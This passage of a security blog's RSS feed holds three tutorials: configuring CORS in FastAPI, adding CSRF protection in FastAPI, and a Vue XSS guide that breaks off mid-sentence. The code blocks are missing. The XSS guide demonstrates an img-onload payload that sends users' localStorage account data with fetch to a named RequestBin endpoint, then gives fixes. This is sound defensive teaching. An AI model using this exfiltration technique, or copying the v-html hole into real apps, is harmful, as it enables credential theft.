automatic OpenAPI generation, Pydantic&amp;#39;s input validation, Starlette&amp;#39;s HTTP (along with WebSocket and GraphQL) handling &amp;amp; middleware all into one package makes FastAPI worth considering even if you don&amp;#39;t plan on using Async at all.&lt;/p&gt;&lt;p&gt;However before we dive into how to set CORS up in &lt;a href=&quot;https://fastapi.tiangolo.com/&quot;&gt;FastAPI&lt;/a&gt; using Starlette&amp;#39;s CORS middleware, let&amp;#39;s have a brief recap on some CORS fundamentals.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;What is CORS?&lt;/h2&gt;&lt;p&gt;Cross-Origin Resource Sharing (CORS) is a protocol for relaxing the Same-Origin policy to allow scripts from one [sub]domain (Origin) to access resources at another. It does this via a preflight exchange of headers with the target resource.&lt;/p&gt;&lt;p&gt;When a script makes a request to a different [sub]domain than it originated from the browser first sends an &lt;code&gt;`OPTIONS`&lt;/code&gt; request to that resource to validate that the resource is expecting requests from external code.&lt;/p&gt;&lt;p&gt;The OPTIONS request carries the &lt;code&gt;`Origin`&lt;/code&gt; header, along with some other information about the request (check out the &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;CORS explainer&lt;/a&gt; for more detail). The target resource then validates these details and (if valid) responds with its own set of headers describing what is permissible and how long to cache the preflight response for.&lt;/p&gt;&lt;p&gt;In our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;fixing &amp;quot;no &amp;#39;access-control-allow-origin&amp;#39; header present&amp;quot;&lt;/a&gt; article we did this validation and response generation with an Nginx Reverse-proxy and some RegEx. Which, while a good DevOps solution to the problem, lacks a degree of flexibility and relies heavily on our RegEx being safe. This Reverse-Proxy approach we covered in that article is a very good stopgap solution as it is easy to set up and requires no code changes. It does however have some significant shortcomings.&lt;/p&gt;&lt;p&gt;The biggest of which being the RegEx at the centre of that approach.&lt;/p&gt;&lt;h2&gt;Risks of RegEx&lt;/h2&gt;&lt;p&gt;A large number of CORS vulnerabilities are caused by misconfigured RegEx search strings in such reverse-proxy configurations.&lt;/p&gt;&lt;p&gt;For example, the RegEx string &lt;code&gt;`^https\:\/\/.*example\.com$`&lt;/code&gt; might at first glance look like a valid solution to allowing us to have scripts from any subdomain of example.com contact our API over HTTPS. It certainly does work for such cases, as both www.example.com and blog.example.com would satisfy this RegEx.&lt;/p&gt;&lt;p&gt;However, what a lot of people miss is that it also accepts literally anything that starts with &lt;code&gt;`https://`&lt;/code&gt; ends in &lt;code&gt;`example.com`&lt;/code&gt;. So, for example, even &lt;code&gt;`www.evilexample.com`&lt;/code&gt; is a perfectly valid origin then according to the RegEx search string.&lt;/p&gt;&lt;p&gt;Obviously then, we want a solution that is similarly flexible (if not more flexible) while carrying a lower risk of misconfiguration.&lt;/p&gt;&lt;h2&gt;Code-Based Solutions&lt;/h2&gt;&lt;p&gt;Our next port of call then is to start looking at implementing this with as minimal a code change as possible. Fortunately, every production-ready web server framework has some level of CORS support. In earlier articles, we covered &lt;a href=&quot;https://www.stackhawk.com/blog/django-cors-guide/&quot;&gt;Django (Python)&lt;/a&gt;, a GorillaMux (Golang), &lt;a href=&quot;https://www.stackhawk.com/blog/laravel-cors/&quot;&gt;Laravel (PHP)&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/spring-cors-guide/&quot;&gt;Spring(Java)&lt;/a&gt;, and &lt;a href=&quot;https://www.stackhawk.com/blog/rails-cors-guide/&quot;&gt;Rails(Ruby)&lt;/a&gt; approaches to this, so if those are your preferred libraries (and Languages) then those articles are definitely worth a read!&lt;/p&gt;&lt;p&gt;In this tutorial, we&amp;#39;re looking at how to set this up in FastAPI.&lt;/p&gt;&lt;h2&gt;The Pedagogical Resource&lt;/h2&gt;&lt;p&gt;For the rest of this tutorial we&amp;#39;ll be using the following server stub:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;`models.py`&lt;/code&gt; file contains a fairly standard SQLAlchemy Async configuration and table definition (&lt;code&gt;`class Document(Base):...`&lt;/code&gt;), and the &lt;code&gt;`validation_models.py`&lt;/code&gt; contains a run-of-the-mill Pydantic model definition (&lt;code&gt;`class NewDocument(BaseModel):...`&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;As this isn&amp;#39;t a &amp;quot;FastAPI with SQLAlchemy Quickstart&amp;quot; guide, we&amp;#39;re going to assume you already have your own models and don&amp;#39;t need code samples for that.&lt;/p&gt;&lt;h2&gt;Adding Basic CORS Support&lt;/h2&gt;&lt;p&gt;So for convenience, presumably at least, FastAPI provides Starlette&amp;#39;s CORS middleware at &lt;code&gt;`fastapi.middleware.cors`&lt;/code&gt;, you can of course also use it directly from Starlette at &lt;code&gt;`starlette.middleware.cors`&lt;/code&gt; it&amp;#39;s exactly the same either way. &lt;/p&gt;&lt;p&gt;Out-of-the-box this middleware supports both a static list of origins and origin regex, which allows for quite some flexibility. However this static list is searched with plaintext comparisons in O(n) time, so could be a limitation for APIaaS platforms.&lt;/p&gt;&lt;p&gt;To get basic CORS support working we&amp;#39;re going to add the following code below below the &lt;code&gt;`app = FastAPI()`&lt;/code&gt; definition.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The names here, should be self-explanatory if you&amp;#39;ve read our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&amp;quot;What is CORS&amp;quot;&lt;/a&gt; explainer, but for convenience, here&amp;#39;s a brief refresher.&lt;/p&gt;&lt;h3&gt;allow_origins&lt;/h3&gt;&lt;p&gt;This argument is a list (or tuple) of acceptable origins that the middleware will search and string compare each time a request comes in.&lt;/p&gt;&lt;h3&gt;allow_origin_regex (Alternative to &lt;code&gt;`allow_origins`&lt;/code&gt;)&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;`allow_origin_regex`&lt;/code&gt; option allows for a closer facsimile of our Nginx example, but still suffers from the same risks.&lt;/p&gt;&lt;h3&gt;allow_credentials&lt;/h3&gt;&lt;p&gt;This is probably the simplest option as it simply adds the &lt;code&gt;`Access-Control-Allow-Credentials: true`&lt;/code&gt; header to the HTTP response. It allows the browser to send any Authorization cookies that it has that match the API&amp;#39;s domain.&lt;/p&gt;&lt;h3&gt;allow_methods&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;`allow_methods` &lt;/code&gt;argument provides the list of acceptable methods that code from the remote origin is allowed to use.&lt;/p&gt;&lt;h3&gt;allow_headers&lt;/h3&gt;&lt;p&gt;This argument supplies the list of acceptable header keys in addition to the ones accepted by default (I.E. &lt;code&gt;`Accept`&lt;/code&gt;, &lt;code&gt;`Accept-Language`&lt;/code&gt;, &lt;code&gt;`Content-Language`&lt;/code&gt; and &lt;code&gt;`Content-Type`&lt;/code&gt;).&lt;/p&gt;&lt;h3&gt;max_age&lt;/h3&gt;&lt;p&gt;The final argument that we&amp;#39;ve added &lt;code&gt;`max_age`&lt;/code&gt; sets the TTL for the browser to use when caching our responses.&lt;/p&gt;&lt;h2&gt;Going Further&lt;/h2&gt;&lt;p&gt;So far we&amp;#39;ve replicated a similar result to our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Nginx Reverse-Proxy solution&lt;/a&gt;, which is fine, but we&amp;#39;re working in code for a reason. We wanted to be able to dynamically add new Origins to our list of supported `&lt;code&gt;Access-Control-Allow-Origin`&lt;/code&gt; responses (using a database perhaps).&lt;/p&gt;&lt;h3&gt;So How Do We Make it Dynamic?&lt;/h3&gt;&lt;p&gt;The easiest way to make this dynamic is to subclass the &lt;code&gt;`CORSMiddleware`&lt;/code&gt; class from Starlette and override the &lt;code&gt;`is_allowed_origin`&lt;/code&gt; method with our own. An example of this might look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Obviously using a SQL database for a preflight request like this might increase the TTFB (Time to First Byte) of the actual request before it&amp;#39;s appropriately cached in the browser, so utilizing python&amp;#39;s LRU Cache or an &lt;a href=&quot;https://dev.to/plaintextnerds/lmdb-faster-nosql-than-mongodb-ae6&quot;&gt;in-memory database like LMDB&lt;/a&gt; is probably desirable to maintain a responsive user experience.&lt;/p&gt;&lt;p&gt;Using an in-memory DB, or even a regular hashtable, as opposed to the list that the middleware uses by default can greatly improve the performance for APIaaS and CDN platforms bringing the search time down from O(n) to O(log n). Where at the moment a lot of the services default to using the arguably evil &lt;code&gt;`*`&lt;/code&gt; wildcard flag.&lt;/p&gt;&lt;h2&gt;Caveats and Summary&lt;/h2&gt;&lt;p&gt;The biggest caveat in using FastAPI&amp;#39;s / Starlette&amp;#39;s CORSMiddleware is that the options are all fail-safe. Meaning that if you forget to define one appropriately then it will reject any request that carries that option in the preflight request. This is a good thing as it means that you&amp;#39;re not accidentally opening yourself up to unwanted traffic, but it can be a little obtuse when you&amp;#39;re trying to debug your initial set-up.&lt;/p&gt;&lt;p&gt;The other point to consider here is that (as with most implementations of CORS middleware) This version does not allow per-origin rules without overriding a significant portion of the middleware yourself. As a result, you need to ensure that you&amp;#39;re only exposing methods and headers that you trust all of the origins to use safely.&lt;/p&gt;&lt;p&gt;In summary, FastAPI&amp;#39;s support for Starlette&amp;#39;s middleware library makes configuring CORS correctly incredibly easy and allows for clean and easy to maintain code. Thanks to the simplicity of that middleware library extending and customizing the middleware to add more flexibility is incredibly simple.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;&lt;p&gt;If you hunger for more CORS knowledge check out our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&amp;quot;What is CORS?&amp;quot; explainer article&lt;/a&gt;, or our &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Fixing &amp;quot;no &amp;#39;access-control-allow-origin&amp;#39; header present&amp;quot; article&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tim Armstrong. Tim has worn many hats over the years, from &amp;quot;Dark Lord of Network Operations&amp;quot; at Nerdalize to &amp;quot;Lead Software Engineer&amp;quot; at De Beers. These days, he&amp;#39;s going by &amp;quot;Consultant Engineer &amp;amp; Technical Writer.&amp;quot; You can find him on Twitter as @omatachyru, and at &lt;/i&gt;&lt;a href=&quot;https://plaintextnerds.com&quot;&gt;&lt;i&gt;&lt;u&gt;plaintextnerds.com&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CSRF Protection in FastAPI]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/csrf-protection-in-fastapi</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Tim Armstrong]]></dc:creator><content:encoded>&lt;p&gt;Cross-Site Request Forgery is one of the easiest attacks to pull off and as a result is a staple of Phishing attacks, Social Engineering attacks, and script-kiddies the world over. But what is it?&lt;/p&gt;&lt;p&gt;A CSRF attack involves getting the user&amp;#39;s browser to submit a request to a vulnerable site (or web app) that the user doesn&amp;#39;t actually want (or know about). In this worst case, this can be actions like transferring initiating transactions from your bank (or more-likely crypto exchange). On the other hand, it can be as simple as posting or liking something on your social media. Common ways that hackers get these requests to run is through social engineering attacks, such as phishing e-mails, or misleading adverts on websites &amp;amp; social media.&lt;/p&gt;&lt;p&gt;Now, you might be thinking &amp;quot;Wait, doesn&amp;#39;t CORS prevent stuff like that?&amp;quot; and to an extent, you&amp;#39;d be right. However, that only prevents malicious scripts from directly making requests, it doesn&amp;#39;t stop the submission of good old HTML Forms (even if they&amp;#39;re triggered by a script). With the increased popularity of Single-Page Web Apps utilizing APIs rather than static elements like forms, the risks of CSRF attacks are getting lower but they&amp;#39;re far from a thing of the past yet. &lt;/p&gt;&lt;p&gt;Make sure to check out our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&amp;quot;What is Cross-Site Request Forgery?&amp;quot;&lt;/a&gt; article or &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#samesite-cookie-attribute&quot;&gt;OWASP&amp;#39;s Cheat Sheet&lt;/a&gt; for a deeper dive on the How&amp;#39;s and What&amp;#39;s of CSRF attacks.&lt;/p&gt;&lt;p&gt;With that brief refresher on Cross-Site Request Forgery out of the way, let&amp;#39;s dive into how to set-up FastAPI to be safe from CSRF attacks.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;FastAPI CSRF Protect&lt;/h2&gt;&lt;p&gt;While there are other ways to get CSRF protection in FastAPI (such as using &lt;a href=&quot;https://piccolo-api.readthedocs.io/en/latest/csrf/&quot;&gt;Piccolo-API&amp;#39;s middleware&lt;/a&gt;), one of the safest and easiest ways to get CSRF protections in place is through using the &lt;a href=&quot;https://github.com/aekazitt/fastapi-csrf-protect&quot;&gt;FastAPI CSRF Protect&lt;/a&gt; library which offers a degree of flexibility that others don&amp;#39;t. &lt;/p&gt;&lt;p&gt;Inspired by &lt;code&gt;`flask-wtf`&lt;/code&gt; and &lt;code&gt;`fast-api-jwt-auth`&lt;/code&gt;, the library uses an expiring signed blob as a token that can be transmitted via either a Cookie (with the `&lt;code&gt;Same-Site`&lt;/code&gt;, &lt;code&gt;`Secure`&lt;/code&gt;, and &lt;code&gt;`HTTP-Only`&lt;/code&gt; flags set), a simple Header, or both. This flexibility allows easy integration with both modern single-page web apps, as well as templated static content.&lt;/p&gt;&lt;h2&gt;Have a Cookie&lt;/h2&gt;&lt;p&gt;Using the following code as an example:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You want to protect the &lt;code&gt;`/document/`&lt;/code&gt; POST handler. To do this, the first thing you need to do is replace the &lt;code&gt;`FastAPI`&lt;/code&gt; import statement with the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, you&amp;#39;ll need to add the settings class. For pedagogical reasons, we&amp;#39;ll hard-code the secret key in our code, but this is far from best practice. In production, this should be supplied securely so as any source-code leaks don&amp;#39;t lead to wider breaches (solutions like AWS Secrets Manager, or HashiCorp Vault are great for supplying secrets during run time).&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you&amp;#39;re building a templated site then you will need to roll this next step into the form page. But given that you&amp;#39;re using FastAPI, it&amp;#39;s probably fair to say that you&amp;#39;re likely either working on an API Service or a Single-Page App, so you&amp;#39;ll want to create a &lt;code&gt;`/csrftoken/`&lt;/code&gt; endpoint.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, you&amp;#39;ll want to modify &lt;code&gt;`write_document`&lt;/code&gt; to be protected by this cookie. To do this you&amp;#39;ll need to add the &lt;code&gt;`request`&lt;/code&gt; and &lt;code&gt;`csrf_protect`&lt;/code&gt; arguments to the signature, so that it looks like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then you&amp;#39;ll need to insert the validation line to the top of the function body:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, you&amp;#39;ll need to handle any validation errors that show up, to do with you&amp;#39;ll want to add an &lt;code&gt;`exception_handler`&lt;/code&gt;. To do this add the following function:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;When you&amp;#39;re all done, it should look something like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;The FastAPI CSRF Protect library does a lot of things right, from the time-scoped signed tokens to the secure-by-default Cookie settings, but the reliance on dependency injection means that developers could forget to secure an endpoint, or worse, think that an endpoint is secure because the injection is present, but forgetting to ensure that the validation call is also present.&lt;/p&gt;&lt;p&gt;Hopefully, this will be resolved in a future version of this library, but in the meanwhile more diligence is required during peer reviews of merge requests that introduce new endpoints to the codebase.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tim Armstrong. Tim has worn many hats over the years, from &amp;quot;Dark Lord of Network Operations&amp;quot; at Nerdalize to &amp;quot;Lead Software Engineer&amp;quot; at De Beers. These days, he&amp;#39;s going by &amp;quot;Consultant Engineer &amp;amp; Technical Writer.&amp;quot; You can find him on Twitter as @omatachyru, and at &lt;/i&gt;&lt;a href=&quot;https://plaintextnerds.com&quot;&gt;&lt;i&gt;&lt;u&gt;plaintextnerds.com&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The modern web is built on trust. This trust is a fundamental ingredient of the recipe that lets users carry out everything from browsing social media to banking on the internet. To maintain this trust, website owners go to great lengths to protect their servers from external attackers.&lt;/p&gt;&lt;p&gt;But what if these attacks come from &lt;i&gt;within&lt;/i&gt; your application?&lt;/p&gt;&lt;p&gt;Injection attacks are a type of vulnerability that let attackers disguise malicious scripts and inject them into otherwise trusted websites.&lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn about XSS attacks and how they can affect you. We&amp;#39;ll also dissect an XSS example in Vue and look at ways you can protect your application.&lt;/p&gt;&lt;p&gt;To start with, let&amp;#39;s find out a little bit more about the XSS vulnerability.&lt;/p&gt;&lt;h2&gt;What&amp;#39;s an XSS Vulnerability?&lt;/h2&gt;&lt;p&gt;An XSS (also known as cross-site scripting) vulnerability is a type of malicious code injection vulnerability. It can happen when an attacker sends malicious code to another end user of the website. Since the end user&amp;#39;s browser doesn&amp;#39;t know that it shouldn&amp;#39;t trust the script, it&amp;#39;ll execute the script.&lt;/p&gt;&lt;p&gt;Once the script executes, the attacker will have access to the unsuspecting user&amp;#39;s cookies, local storage, and any other sensitive resources the browser used on that website.&lt;/p&gt;&lt;p&gt;XSS vulnerabilities are common. Usually, they happen when the website fails to encode or sanitize user input correctly.&lt;/p&gt;&lt;p&gt;&lt;i&gt;A malicious script can affect all users who are exposed to it.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As you can see above, any website that uses user-generated content may be vulnerable to XSS injections.&lt;/p&gt;&lt;p&gt;Imagine a website like Twitter, which accepts short messages from users. If this website had an XSS vulnerability, an attacker could inject a malicious script as part of a short message. Once that happens, if a user loaded the malicious short message, then their browser would be compromised.&lt;/p&gt;&lt;h2&gt;Let&amp;#39;s Investigate an Example&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s get into the nitty-gritty and look at an example of an XSS vulnerability in a Vue application. You can read this&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;primer on XSS&lt;/u&gt;&lt;/a&gt; to find out more about it in a general context.&lt;/p&gt;&lt;p&gt;To understand this vulnerability better, we&amp;#39;ll create a test Vue application with an XSS vulnerability.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s assume you&amp;#39;re a beginner and you want to explore the big, bold world of single-page JS apps. You hear about this hot new framework called Vue, and you&amp;#39;re excited to get started.&lt;/p&gt;&lt;p&gt;After thinking about what kind of application you want to develop, you settle on a note-taking application. Since you want to add some flair to it, you decide to let the users decorate their notes with HTML so that it looks good.&lt;/p&gt;&lt;p&gt;And this is where you&amp;#39;ve opened yourself up to a world of hurt.&lt;/p&gt;&lt;p&gt;But don&amp;#39;t worry! There&amp;#39;s hope!&lt;/p&gt;&lt;p&gt;We&amp;#39;ll identify the actual issue, and then we&amp;#39;ll look at ways to fix it.&lt;/p&gt;&lt;p&gt;Our test application will be a note-taking application that supports some HTML markup. A real application is going to have a database and a complete authentication system. For this exercise, we&amp;#39;ll just pretend that many users share it. We&amp;#39;ll put in a fake auth screen. It should have the following features:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Should be able to log in&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Able to create a note&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It should be able to list notes that have been created&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Should support HTML markup to style the note&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Now that we&amp;#39;ve defined our core functionality, let&amp;#39;s get going.&lt;/p&gt;&lt;h3&gt;Creating Our Test Application&lt;/h3&gt;&lt;p&gt;The fastest way to set up a Vue application is using the Vue CLI tool. So let&amp;#39;s install that first.&lt;/p&gt;&lt;p&gt;Type the following command to install the CLI tool.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;It&amp;#39;ll take a couple of minutes to install everything. But you should see something like this once you&amp;#39;re done.&lt;/p&gt;&lt;p&gt;&lt;i&gt;If Vue CLI completed successfully, you should see the output above.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Once you run the &lt;b&gt;npm run serve&lt;/b&gt; command, you can access the example app on &lt;b&gt;http://localhost:8080/&lt;/b&gt;. Then, you should see something like this.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Landing page for Vue.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now that we have some boilerplate set up, we can start adding the functionality.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Adding Login Functionality&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We&amp;#39;re going to start by adding a fake login functionality.&lt;/p&gt;&lt;p&gt;We&amp;#39;ll create a component that has a few users hardcoded into it, and we&amp;#39;ll display a login form. Once you log in, the user account is saved in local storage.&lt;/p&gt;&lt;p&gt;If this were a real application, we&amp;#39;d use an authentication system backed by a database. But local storage will do fine for our example.&lt;/p&gt;&lt;p&gt;Create a new file named &lt;b&gt;src\components\Login.vue&lt;/b&gt;. Then, put the code below into it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Most of the work happens within the &lt;b&gt;login &lt;/b&gt;method of the component, which simply accepts a username and password and then checks it against the hardcoded accounts. If it finds a matching account, it emits an event with the matched account so the parent component can log you in.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s add the ability to save notes.&lt;/p&gt;&lt;h3&gt;Adding Notes&lt;/h3&gt;&lt;p&gt;Create a new file named &lt;b&gt;src\components\NoteAdd.vue&lt;/b&gt; in your project. Then, put the following code in it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;With the code above, we create a Vue component that accepts the &lt;b&gt;authUser&lt;/b&gt; property and renders a form that allows you to add a note. When the note is added, an event goes to the parent component.&lt;/p&gt;&lt;p&gt;Next up: Let&amp;#39;s add a component to display all the saved notes.&lt;/p&gt;&lt;h3&gt;List All Notes&lt;/h3&gt;&lt;p&gt;Once we&amp;#39;re able to add notes, we need to be able to see all the saved notes. Create a file named &lt;b&gt;src\components\NoteList.vue&lt;/b&gt;. Then, put the code below in the file.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This component takes a &lt;b&gt;notes&lt;/b&gt; property and just renders all of them using an HTML list.&lt;/p&gt;&lt;p&gt;Finally, let&amp;#39;s connect everything using the parent component.&lt;/p&gt;&lt;h3&gt;Adding Styles and Updating the App Component&lt;/h3&gt;&lt;p&gt;We&amp;#39;re almost done setting up the test application. Let&amp;#39;s add some styles so that things look nice.&lt;/p&gt;&lt;p&gt;Create a file named &lt;b&gt;public\style.css&lt;/b&gt;, and put the following styles into it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you&amp;#39;ve created the style sheet, don&amp;#39;t forget to link to it from your &lt;b&gt;public\index.html&lt;/b&gt; file. It should look something like what&amp;#39;s shown below.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And finally, let&amp;#39;s update the &lt;b&gt;src\App.vue&lt;/b&gt; component so that it&amp;#39;s using all our newly created components.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And that&amp;#39;s it!&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve saved the application code, you can run it using the &lt;b&gt;npm run serve&lt;/b&gt; command from within the app folder. Once the app loads, you should see the login screen as shown below.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Log in as Jane to continue.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Remember the hardcoded users we created earlier? Try logging in with a username of &amp;quot;Jane&amp;quot; and password of &amp;quot;4321.&amp;quot;&lt;/p&gt;&lt;p&gt;Once you&amp;#39;ve logged in, try adding some notes to see if everything works fine.&lt;/p&gt;&lt;p&gt;Remember that this form supports HTML formatting. So, try adding some &lt;b&gt;&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&lt;/b&gt; and &lt;b&gt;&amp;lt;u&amp;gt;&amp;lt;/u&amp;gt;&lt;/b&gt; tags to see how it looks.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Shows all the notes posted as Jane.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If everything is working as expected, you should see a screen with some notes that you added. If you added in some basic HTML markup, it&amp;#39;s going to show as you&amp;#39;d expect.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s find out a little bit about the vulnerability we introduced.&lt;/p&gt;&lt;h2&gt;Exploring the Vulnerability&lt;/h2&gt;&lt;p&gt;The use case of wanting to render HTML in the notes list is a reasonable one. You want the users to be able to customize their notes and add their own style to them. However, this opens the door to attackers who can introduce malicious scripts to your application.&lt;/p&gt;&lt;p&gt;To demonstrate this idea, let&amp;#39;s pretend to be an attacker and try to get the usernames and passwords of everyone using this system.&lt;/p&gt;&lt;p&gt;We already know that the user account is stored in the local storage for this application. So, we&amp;#39;ll aim to send the local storage information to ourselves.&lt;/p&gt;&lt;p&gt;In a real-life scenario, developers are likely to store tokens or session IDs as usernames, and passwords are never stored on the client side. But it&amp;#39;s the same principle.&lt;/p&gt;&lt;p&gt;Head over to&lt;a href=&quot;https://requestbin.com/&quot;&gt; &lt;u&gt;https://requestbin.com/&lt;/u&gt;&lt;/a&gt;, and create an endpoint that can receive our payload. That&amp;#39;s going to look something like this:&lt;/p&gt;&lt;p&gt;https://enj917gkdfyp.x.pipedream.net&lt;/p&gt;&lt;p&gt;The RequestBin service captures any data sent to the URL so that we can inspect it later.&lt;/p&gt;&lt;h3&gt;Injecting the Malicious Script&lt;/h3&gt;&lt;p&gt;Next, let&amp;#39;s craft an innocent-looking note to post on the app.&lt;/p&gt;&lt;p&gt;We can exploit the fact that the app allows HTML markup and use the &lt;b&gt;onload&lt;/b&gt; event of an image tag to carry out our script. It&amp;#39;ll look something like this.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you post the above message, all you&amp;#39;ll see on the messages list is the text on the first line.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Seems innocent enough without the markup.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;So, what exactly is going on here? Let&amp;#39;s break down the code a little bit.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Breakdown of the XSS code.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As seen above, we use the Javascript&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch&quot;&gt; &lt;u&gt;fetch&lt;/u&gt;&lt;/a&gt; API to send us all the data stored in the &lt;b&gt;account&lt;/b&gt; key of the user&amp;#39;s local storage. We use the RequestBin API endpoint from earlier to collect this information.&lt;/p&gt;&lt;p&gt;Since we posted this note as Jane, let&amp;#39;s log in as another account and see if we can see their information.&lt;/p&gt;&lt;p&gt;If I use Bob&amp;#39;s account to log in, I just see Jane&amp;#39;s message about the Steam summer sale and nothing amiss.&lt;/p&gt;&lt;p&gt;But if I go to my RequestBin and look at the submissions, I&amp;#39;ll be able to see Bob&amp;#39;s account captured.&lt;/p&gt;&lt;p&gt;&lt;i&gt;We can see Bob&amp;#39;s account details!&lt;/i&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s not great! It looks as if the attacker will capture the account information of everyone who loads the notes list.&lt;/p&gt;&lt;p&gt;Now that we&amp;#39;ve identified how an attacker can exploit this vulnerability, how can we actually fix this issue?&lt;/p&gt;&lt;h2&gt;Closing the Security Hole&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at a few ways to solve this problem.&lt;/p&gt;&lt;h3&gt;Disabling HTML Parsing&lt;/h3&gt;&lt;p&gt;This vulnerability exists because of the following code in your &lt;b&gt;src\components\NoteList.vue&lt;/b&gt; file.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;b&gt;v-html&lt;/b&gt; directive tells Vue to render the content as HTML.&lt;/p&gt;&lt;p&gt;The fastest way to fix the vulnerability is to disable the HTML parsing and display the content as is. You can do that by changing the line to this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;{{note.note}}&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Disabling the HTML parsing fixes the vulnerability.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As you can see, the moment you remove the HTML parsing, Vue will automatically display the content as is, without trying to parse it as HTML. But this means that you won&amp;#39;t get the pretty HTML formatting.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at a solution that gives us the best of both worlds.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use an HTML Sanitizer&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Sometimes there&amp;#39;s no way around the requirement to render HTML. At this point, you need to make sure that the HTML that&amp;#39;s being rendered is&lt;a href=&quot;https://en.wikipedia.org/wiki/HTML_sanitization&quot;&gt; 